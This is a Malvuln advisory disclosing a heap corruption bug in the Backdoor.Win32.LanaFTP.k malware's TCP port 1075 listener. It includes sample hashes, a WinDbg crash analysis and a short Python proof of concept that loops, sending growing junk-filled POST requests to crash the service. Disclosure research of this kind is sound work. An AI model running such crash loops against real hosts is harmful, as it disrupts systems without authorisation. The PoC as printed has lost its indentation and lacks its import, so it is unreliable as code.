Backdoor.Win32.LanaFTP.k Heap Corruption

Backdoor.Win32.LanaFTP.k malware suffers from a heap corruption vulnerability.


MD5 | 8d45b472da2b1e31d5c236d766e3f90f

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/e2660742a80433e027ee9bdedc40e190.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.LanaFTP.k
Vulnerability: Heap Corruption
Description: The malware listens on TCP port 1075. Third-party attackers who can reach the server can send a specially crafted sequential payload causing a heap corruption.
Type: PE32
MD5: e2660742a80433e027ee9bdedc40e190
Vuln ID: MVID-2021-0369
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 10/15/2021

Memory Dump:
(5ec.db4): Access violation - code c0000005 (first/second chance not available)
eax=0000168f ebx=026b6ad8 ecx=00000000 edx=a0026800 esi=026b6ae0 edi=02680000
eip=776e2d6c esp=04aaf8b8 ebp=04aafa78 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
ntdll!RtlpAllocateHeap+0x37c:
776e2d6c 8b5204 mov edx,dword ptr [edx+4] ds:002b:a0026804=????????

0:007> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.LanaFTP.k.e2660742a80433e027ee9bdedc40e190.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.LanaFTP.k.e2660742a80433e027ee9bdedc40e190.exe

FAULTING_IP:
ntdll!RtlpAllocateHeap+37c
776e2d6c 8b5204 mov edx,dword ptr [edx+4]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 776e2d6c (ntdll!RtlpAllocateHeap+0x0000037c)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: a0026804
Attempt to read from address a0026804

PROCESS_NAME: Backdoor.Win32.LanaFTP.k.e2660742a80433e027ee9bdedc40e190.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000000

EXCEPTION_PARAMETER2: a0026804

READ_ADDRESS: a0026804

FOLLOWUP_IP:
msvcrt!__CRTDLL_INIT+fa
744c5720 85c0 test eax,eax

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 00000db4

BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption_INVALID_POINTER_READ

PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption

DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption

LAST_CONTROL_TRANSFER: from 776e16b7 to 776e2d6c

STACK_TEXT:
04aafa78 776e16b7 00000208 00000210 0268039c ntdll!RtlpAllocateHeap+0x37c
04aafac8 776e13ee 002c0008 00000000 00000000 ntdll!RtlpAllocateHeapInternal+0x2b7
04aafae4 77700ee3 02680000 002c0008 00000208 ntdll!RtlAllocateHeap+0x3e
04aafb14 74a0f6f6 00000000 74490000 02843330 ntdll!RtlProcessFlsData+0x53
04aafb28 744c5720 00000001 02843330 04aafb50 KERNELBASE!FlsSetValue+0x46
04aafb3c 7770e746 74490000 00000002 00000000 msvcrt!__CRTDLL_INIT+0xfa
04aafb5c 776dcbef 744c5610 74490000 00000002 ntdll!LdrxCallInitRoutine+0x16
04aafba8 776da6dd 00000002 00000000 f0911053 ntdll!LdrpCallInitRoutine+0x7f
04aafc98 77703b28 f091103b 04aafd24 776a0000 ntdll!LdrpInitializeThread+0x1ed
04aafcf0 7770370e 00000000 00000000 04aafd10 ntdll!_LdrpInitialize+0x40d
04aafd00 777036bc 00000000 f09111db 00000000 ntdll!LdrpInitialize+0x34
04aafd10 00000000 04aafd24 776a0000 00000000 ntdll!LdrInitializeThunk+0x1c


SYMBOL_STACK_INDEX: 5

SYMBOL_NAME: msvcrt!__CRTDLL_INIT+fa

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: msvcrt

IMAGE_NAME: msvcrt.dll

DEBUG_FLR_IMAGE_TIMESTAMP: 692918b7

STACK_COMMAND: !heap ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~7s; .ecxr ; kb

FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption_c0000005_msvcrt.dll!__CRTDLL_INIT

BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption_INVALID_POINTER_READ_msvcrt!__CRTDLL_INIT+fa


Exploit/PoC:
MALWARE_HOST="x.x.x.x"
PORT=1075
sz=1000

def doit():

global sz

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

sz += 1000

JUNK = "A"*sz
PAYLOAD="POST /\r\n"+JUNK+ " HTTP\r\n/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
s.send(PAYLOAD)

s.close()


if __name__=="__main__":
while 1:
doit()
print("Malvuln")


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Related Posts